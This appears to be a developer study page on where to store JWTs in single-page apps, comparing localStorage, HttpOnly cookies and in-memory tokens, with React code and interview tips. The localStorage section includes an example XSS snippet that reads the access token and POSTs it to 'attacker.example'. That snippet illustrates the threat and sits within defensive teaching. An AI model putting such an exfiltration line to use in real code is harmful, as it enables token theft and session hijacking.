Topics
v6.0.0
On this page · sections

JWT Storage Trade-offs

Where you store tokens determines which attack wins — XSS (steal token) or CSRF (ride session). No storage option eliminates both.

StorageXSS steals token?CSRF without guards?Persistence
localStorage + BearerYes — any script reads itLower — header not auto-sentSurvives reload
HttpOnly cookieNo readHigher — cookies auto-sendServer-controlled
Memory + BearerDuring sessionLowerLost on reload
Memory + HttpOnly refreshPartialRefresh endpoint CSRF riskHybrid

localStorage Risks

Definition

Any JavaScript on the page can read localStorage — including XSS payloads. A stolen JWT is a bearer token: attacker replays it until expiry.

'use strict'; // Anti-pattern — common in tutorials localStorage.setItem('access_token', 'eyJhbGciOiJIUzI1NiIs...'); // Any XSS on the page executes: const stolen = localStorage.getItem('access_token'); fetch('https://attacker.example/collect', { method: 'POST', body: stolen, });

Key properties:

  • Readable by any same-origin script — no HttpOnly equivalent
  • Bearer semantics — stolen token works from anywhere
  • Long-lived refresh tokens in localStorage = catastrophic
  • Persists until explicit removal — survives tab close

Encrypting the JWT before storing does not help — the decryption key lives in JS; XSS steals both.

Interview: If XSS exists, localStorage is game over — not dogmatic rejection, but the theft window equals token TTL.

HttpOnly Secure SameSite Cookies

Definition

HttpOnly cookies are invisible to document.cookie and JavaScript — XSS cannot exfiltrate them directly.

Pair with Secure (HTTPS only) and SameSite=Lax or Strict to cut CSRF. For cross-site OAuth callbacks, SameSite=None; Secure may be required.

'use strict'; async function fetchWithSession(url, options = {}) { return fetch(url, { ...options, credentials: 'include', headers: { Accept: 'application/json', ...options.headers, }, }); } // Server Set-Cookie (backend responsibility): // refresh=...; HttpOnly; Secure; SameSite=Lax; Path=/auth/refresh; Max-Age=604800

Frontend never touches the token string — session continuity via cookie jar.

Real-world example

Hybrid pattern — short access JWT in memory for API Authorization, silent refresh via HttpOnly cookie endpoint. Limits XSS blast radius to access TTL.

React Server Components can read HttpOnly cookies on the server (cookies() in Next.js) — never pass raw token to client components as props.

Interview: HttpOnly breaks exfiltration but not XSS action — attacker JS can still call same-origin fetch with credentials.

In-Memory Token Storage

Definition

Memory storage means the token lives in a module variable or closure — XSS can still steal it during the session, but nothing persists after refresh or tab close.

'use client'; let accessToken: string | null = null; export function setAccessToken(token: string | null) { accessToken = token; } export async function authFetch(input: RequestInfo, init: RequestInit = {}) { if (!accessToken) throw new Error('Not authenticated'); const res = await fetch(input, { ...init, headers: { ...init.headers, Authorization: `Bearer ${accessToken}`, }, }); if (res.status === 401) { accessToken = null; throw new Error('Session expired'); } return res; }
Login success → accessToken in module scope + HttpOnly refresh cookie Full reload → memory cleared + cookie survives POST /refresh → repopulates accessToken in memory

Never persist tokens via Redux/Zustand middleware to localStorage — that reintroduces the risk.

Interview: Memory alone forces re-login on F5 unless paired with HttpOnly refresh; best combined pattern is memory access + HttpOnly refresh.

XSS vs CSRF Threat Swap

Definition

localStorage + Authorization header — XSS steals token; CSRF harder because attacker site cannot set arbitrary Authorization on cross-origin fetch.

Cookie session — XSS cannot read HttpOnly but can trigger authenticated requests; CSRF becomes the threat if cookies auto-send.

'use client'; // Pattern A — header from memory (CSRF-resistant, XSS-stealable during session) async function mutateProfile(data: FormData) { return authFetch('/api/profile', { method: 'PUT', body: data }); } // Pattern B — cookie session (HttpOnly — CSRF needs protection) async function mutateProfileCookie(data: FormData) { return fetch('/api/profile', { method: 'PUT', credentials: 'include', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': getCsrfTokenFromMeta(), }, body: JSON.stringify(Object.fromEntries(data)), }); }

Mitigations regardless of storage:

  • XSS — CSP, sanitize, no inline scripts, dependency audit
  • CSRF — SameSite, CSRF token, custom header on mutations

Interview: Storage choice is a threat swap — production needs both CSP/XSS defenses and CSRF controls.

Production SPA Auth Architecture

Definition

Preferred modern pattern:

  • BFF or same-site API with HttpOnly refresh cookie on the app domain
  • Short-lived access token in memory
  • Silent refresh on 401
  • No tokens in localStorage
'use client'; import { useEffect, useRef, useCallback } from 'react'; export function useSession() { const accessRef = useRef<string | null>(null); const refresh = useCallback(async () => { const res = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include', }); if (!res.ok) { accessRef.current = null; return null; } const data = await res.json(); accessRef.current = data.accessToken; return data.accessToken; }, []); useEffect(() => { refresh(); }, [refresh]); const api = useCallback(async (path: string, init?: RequestInit) => { let token = accessRef.current ?? (await refresh()); if (!token) throw new Error('Unauthorized'); let res = await fetch(path, { ...init, headers: { ...init?.headers, Authorization: `Bearer ${token}` }, }); if (res.status === 401) { token = await refresh(); if (!token) throw new Error('Unauthorized'); res = await fetch(path, { ...init, headers: { ...init?.headers, Authorization: `Bearer ${token}` }, }); } return res; }, [refresh]); return { api, logout: () => { accessRef.current = null; fetch('/api/auth/logout', { method: 'POST', credentials: 'include' }); }, }; }

Real-world example

Multi-tab logout: BroadcastChannel('auth') posts logout event; each tab clears memory. Server invalidates refresh family with reuse detection as breach signal.

Opaque session id in HttpOnly cookie — easier revocation than stateless JWT-only.

Interview: Tokens have minimal persistence, refresh rotates server-side, logout invalidates all sessions, and XSS/CSRF mitigations match the chosen storage pattern.

Senior Interview Summary

Mental model

localStorage → Any same-origin JS reads it; XSS = game over HttpOnly → JS cannot read; breaks exfiltration path Memory → No persistence; XSS during session only Hybrid → Short access in memory + HttpOnly refresh cookie BFF → Same-origin /api; first-party cookies

Practical rules

  • Never store refresh tokens in localStorage
  • Centralized fetch wrapper — no scattered token access
  • Clear memory on logout; server invalidates refresh
  • Document threat model in ADR: chosen storage, mitigations, accepted risks
  • Instrument refresh failures to detect token theft campaigns

What to say in interviews

I choose BFF vs cross-domain API, place refresh in HttpOnly cookie with rotation and reuse detection, keep access in memory with short TTL, implement silent refresh on mount and 401, and never store tokens in localStorage. Short JWT expiry reduces but does not eliminate localStorage theft window — refresh token exposure is the critical risk.

Common traps

  • HTTPS protects transit — not XSS on client
  • HttpOnly only via Set-Cookie response header, not JS
  • Bearer tokens do not eliminate CSRF when cookies are also used
  • sessionStorage is not meaningfully safer than localStorage under XSS

Last updated on